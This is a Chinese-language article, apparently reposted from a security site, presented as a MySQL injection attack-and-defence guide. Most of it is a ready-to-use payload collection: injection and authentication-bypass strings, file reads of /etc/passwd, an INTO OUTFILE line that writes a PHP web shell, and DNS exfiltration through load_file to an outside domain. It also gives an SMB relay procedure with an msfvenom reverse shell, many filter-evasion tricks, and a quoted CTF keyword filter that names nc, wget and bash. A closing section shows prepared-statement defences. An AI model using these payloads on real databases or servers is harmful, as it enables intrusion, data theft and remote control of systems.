MySQL注入攻击与防御

2017-06-09 11:13:01 收藏 评论

 

MySQL注入攻击与防御

一、注入常用函数与字符

下面几点是注入中经常会用到的语句

  • 控制语句操作(select, case, if(), ...)
  • 比较操作(=, like, mod(), ...)
  • 字符串的猜解操作(mid(), left(), rpad(), …)
  • 字符串生成操作(0x61, hex(), conv()(使用conv([10-36],10,36)可以实现所有字符的表示))

二、测试注入

可以用以下语句对一个可能的注入点进行测试

语句对一个可能的注入点进行测试

三、注释符

以下是Mysql中可以用到的注释符:

Mysql中可以用到的注释符

Examples:

  1. SELECT * FROM Users WHERE username = '' OR 11=1 -- -' AND password = ''
  2. SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`'; 

四、版本&主机名&用户&库名

版本&主机名&用户&库名

五、表和字段

1. 确定字段数

(1) ORDER BY

ORDER BY用于判断表中的字段个数

ORDER BY

(2) SELECT ... INTO

关于SELECT ... INTO 的解释可以看这一篇文章SELECT ... INTO解释

SELECT ... INTO

当出现LIMIT时可以用以下语句:

  1. SELECT username FROM Users limit 1,{INJECTION POINT}; 

(3) 判断已知表名的字段数

  1. AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 
  2. SELECT passwd FROM Users WHERE id = {INJECTION POINT}; 

2. 查表名

以下提过几种方式对库中表进行查询

查表名

3. 查列名

以下提过几种方式对表中列进行查询

3. 查列名

六、字符串连接

下面的几条语句都可以用以连接字符

字符串连接

六、条件语句&时间函数

条件语句&时间函数

其中BENCHMARK函数是指执行某函数的次数,次数多时能够达到与sleep函数相同的效果

七、文件操作

1. 文件操作权限

在MySQL中,存在一个称为secure_file_priv的全局系统变量。 该变量用于限制数据的导入和导出操作,例如SELECT … INTO OUTFILE语句和LOAD_FILE()

如果secure_file_priv变量为空那么直接可以使用函数,如果为null是不能使用

但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉了

secure_file_priv变量

也可使用如下语句查询

2. 读文件

读文件函数LOAD_FILE()

Examples:

  1. SELECT LOAD_FILE('/etc/passwd'); 
  2. SELECT LOAD_FILE(0x2F6574632F706173737764); 

注意点:

  • LOAD_FILE的默认目录@@datadir
  • 文件必须是当前用户可读
  • 读文件最大的为1047552个byte, @@max_allowed_packet可以查看文件读取最大值

3. 写文件

INTO OUTFILE/DUMPFILE

经典写文件例子:

To write a PHP shell:

  1. SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; 

这两个函数都可以写文件,但是有很大的差别

  • INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
  • INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
  • 当我们在UDF提权的场景是需要上传二进制文件等等用OUTFILE函数是不能成功的

注意点:

  • INTO OUTFILE不会覆盖文件
  • INTO OUTFILE必须是查询语句的最后一句
  • 路径名是不能编码的,必须使用单引号

八、带外通道

关于带外通道的注入前段时间国外的大佬已经总结过了,我基本复现了一下,博客有文章,这里简单提一下

1. 什么是带外通道注入?

带外通道攻击主要是利用其他协议或者渠道从服务器提取数据. 它可能是HTTP(S)请求,DNS解析服务,SMB服务,Mail服务等.

2. 条件限制

首先不用多说,这些函数是需要绝对路径的

如果secure_file_priv变量为空那么直接可以使用函数,如果为null是不能使用

但在mysql的5.5.53之前的版本是默认为空,之后的版本为null,所有是将这个功能禁掉了

3. DNS注入

  1. select load_file(concat('\\\\',version(),'.rootclay.club\\clay.txt')); 
  2. select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)); 

上面的语句执行的结果我们可以通过wireshark抓包看一下,过滤一下DNS协议即可清晰看到数据出去的样子,如下图

 DNS注入

进行DNS注入需要域名解析,自己有的话最好,但是没有的朋友也没事,这里推荐一个网站CEYE可以查看数据

4. SMB Relay 注入攻击

(1) What is SMB relay

这里简单的描述一下SMB relay这个过程

假设有主机B与A

  • A向B发起连接请求
  • B向A发送挑战(一组随机数据,8字节)
  • A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应,并发往B
  • B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对前面发往A的挑战进行标准DES加密
  • 如果(4)中计算结果与A送过来的响应匹配,A被允许访问B

现在假设一个攻击者C卷入其中

  • C向B发起连接请求
  • B向C发送挑战D(一组随机数据)
  • C等待A向B发起连接请求
  • 当A向B发起连接请求时,C伪造成B向A发送挑战D
  • A用源自明文口令的DESKEY对挑战D进行标准DES加密得到响应E,并发往B
  • C截获到响应E,将它做为针对(2)中挑战D的响应发往B,并声称自己是A
  • B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对挑战D进行标准DES加密
  • 如果(7)中计算结果与C送过来的响应匹配,C被允许以A的身份访问B。

(2) 攻击流程

SMB relay攻击窃取NTML与shell

关于SMB relay攻击窃取NTML与shell请看这篇文章SMB Relay Demystified and NTLMv2 Pwnage with Python

整理了一下实际操作的步骤如下:

首先生成一个反向shell:

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f exe > reverse_shell.exe 

然后,运行smbrelayx,指定被攻击者和生成的反向shell,等待连接。

  1. smbrelayx.py -h 被攻击者ip -e 反向shell文件位置  

其次,使用模块multi/handler。侦听攻击机ip,攻击机监听端口

最后,在MySQL Server上运行如下的代码,则会产生shell。相当于访问攻击机的smb服务,但实际上是窃取了mysql_server的身份

  1. select load_file('\\攻击机ip\aa'); 

九、绕过技巧

1. 绕过单引号

绕过单引号

2. 大小写绕过

  1. ?id=1+UnIoN+SeLecT+1,2,3-- 

3. 替换绕过

  1. ?id=1+UNunionION+SEselectLECT+1,2,3-- 

4. 注释绕过

  1. ?id=1+un/**/ion+se/**/lect+1,2,3-- 

5. 特殊嵌入绕过

  1. ?id=1/*!UnIoN*/SeLecT+1,2,3-- 

6. 宽字节注入

SQL注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。

7. MySQL版本号字符

Examples:

  1. <span style="font-family: 微软雅黑, "Microsoft YaHei";">UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+<br>SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);</span> 

这样的查询语句是可以执行的,我理解为类似Python中第一行注释指定解析器一样#!/bin/sh

对于小于或等于版本号的语句就会执行

例如目前的Mysql版本为5.7.17那么/!50717/及其以下的语句即可执行

8. 字符编码绕过

前段时间看到ph师傅的博客是讨论mysql字符编码的文章,大概意思如下,原文在这里

当出现有以下代码时,指设置了字符编码为utf-8,但并不是全部为utf-8,而在具体的转换过程中会出现意外的情况,具体可以看ph师傅的文章

  1. $mysqli->query("set names utf8"); 

在sql查询中,test.php?username=admin%e4中的%e4会被admin忽略掉而绕过了一些逻辑,还有一些类似于$e4这样的字符如%c2等

9. 绕空格

(1) 特殊字符绕过空格

特殊字符绕过空格

Example:

  1. '%0AUNION%0CSELECT%A0NULL%20%23 

括号绕过空格

括号绕过空格

Example:

  1. UNION(SELECT(column)FROM(table)) 

10. and/or后插入字符绕过空格

任意混合+ - ~ !可以达到绕过空格的效果(可以现在本地测试,混合后需要的奇偶数可能不同)

  1. SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and-++-1=1;需要偶数个-- 
  2. SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and!!~~~~!11=1;需要奇数个! 

其实一下的字符都可以测试

and/or后插入字符绕过空格

十、注释符&引号

  1. SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and/**/11=1; 
  2. SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and"11=1"; 

1. 编码绕过

编码绕过

2. 关键字绕过

测试用例information_schema.tables

测试用例information_schema.tables

3. 认证绕过

绕过语句:'='

  1. select data from users where name="=" 
  2. select data from users where flase=" 
  3. select data from users where 00=0 

绕过语句:'-'

  1. select data from users where name=''-'' 
  2. select data from users where name=0-0 
  3. select data from users where 00=0 

比如登录的时候需要输入email和passwd,可以这样输入

  1. email=''&password='' 

类型转换

  1. ' or 1=true 
  2. ' or 1 
  3. select * from users where 'a'='b'='c' 
  4. select * from users where ('a'='b')='c' 
  5. select * from users where (false)='c' 
  6. select * from users where (0)='c' 
  7. select * from users where (0)=0 
  8. select * from users where true 
  9. select * from users 

我们还有关于此的漏洞,就以一次CTF的题目来说(源码如下):

  1. <?php 
  2. class fiter{ 
  3.     var $str; 
  4.     var $order; 
  5.     function sql_clean($str){ 
  6.         if(is_array($str)){ 
  7.             echo "<script> alert('not array!!@_@');parent.location.href='index.php'</script>";exit; 
  8.         } 
  9.         $filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."/i"; 
  10.         if(preg_match($filter,$str)){ 
  11.             echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'</script>";exit; 
  12.         }else if(strrpos($str,urldecode("%00"))){ 
  13.             echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'</script>";exit; 
  14.         } 
  15.         return $this->str=$str; 
  16.     } 
  17.     function ord_clean($ord){ 
  18.         $filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh"
  19.         if (preg_match("/".$filter."/i",$ord) == 1){ 
  20.             return $this->order = ""
  21.         } 
  22.         return $this->order = $ord; 
  23.     } 

这里过滤了很多关键词了,需要用到类型转换了,这里我们用+号

Payload如下:

  1. uname=aa'+(ascii(mid((passwd)from(1)))>0)+'1 

执行的SQL语句如下:

  1. xxxxxx where username = 'aa'+(ascii(mid((passwd)from(users)))>0)+'1' 

这样就可以开始写脚本跑数据了

除了+号,其他算术操作符号也会发生类型的类型转换,例如MOD,DIV,*,/,%,-,

关于隐式类型转换的文章可以看这里

4. HTTP参数污染

当我们传入的参数为

http://sqlinjection.com/?par1=val1&par1=val2

进入到不同的Web Server就可能得到不同的结果,这里借鉴一下国外大佬一篇文章的总结,如下:

不同的Web Server就可能得到不同的结果

不同的web server的处理结果截然不同

不同的web server的处理结果截然不同

这里也推荐一篇国外的文章

十一、实战正则过滤绕过

实战正则过滤绕过

十二、防御手段(代码以PHP为例)

像WAF之类防御手段自己无能为力经常打补丁就好,这里主要提一下代码层面的问题

推荐使用下面的方式进行查询:

1. MYSQLi

  1. $stmt = $db->prepare('update name set name = ? where id = ?'); 
  2. $stmt->bind_param('si',$name,$id); 
  3. $stmt->execute(); 

2. ODBC

  1. $stmt = odbc_prepare( $conn, 'SELECT * FROM users WHERE email = ?' ); 
  2. $success = odbc_execute( $stmt, array($email) ); 

或者

  1. $dbh = odbc_exec($conn, 'SELECT * FROM users WHERE email = ?', array($email)); 
  2. $sth = $dbh->prepare('SELECT * FROM users WHERE email = :email'); 
  3. $sth->execute(array(':email' => $email)); 

3. PDO

  1. $dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password); 
  2. $stmt = $dbh->prepare('INSERT INTO REGISTRY (name, value) VALUES (:name, :value)'); 
  3. $stmt->bindParam(':name', $name); 
  4. $stmt->bindParam(':value', $value); 
  5. // insert one row 
  6. $name = 'one'
  7. $value = 1
  8. $stmt->execute(); 

或者

  1. $dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password); 
  2. $stmt = $dbh->prepare('UPDATE people SET name = :new_name WHERE id = :id'); 
  3. $stmt->execute( array('new_name' => $name, 'id' => $id) ); 

4. 框架

对于框架的话只要遵循框架的API就好,例如wp的查询

  1. global $wpdb; 
  2. $wpdb->query( 
  3.     $wpdb->prepare( 'SELECT name FROM people WHERE id = %d OR email = %s', 
  4.         $person_id, $person_email 
  5.     ) 
  6. ); 

或者

  1. global $wpdb; 
  2. $wpdb->insert( 'people', 
  3.         array( 
  4.             'person_id' => '123', 
  5.             'person_email' => 'bobby@tables.com' 
  6.         ), 
  7.     array( '%d', '%s' ) 
  8. ); 

本文作者:rootclay

本文转自:安全客

责任编辑:
分享到

参与评论

相关文章

热点资讯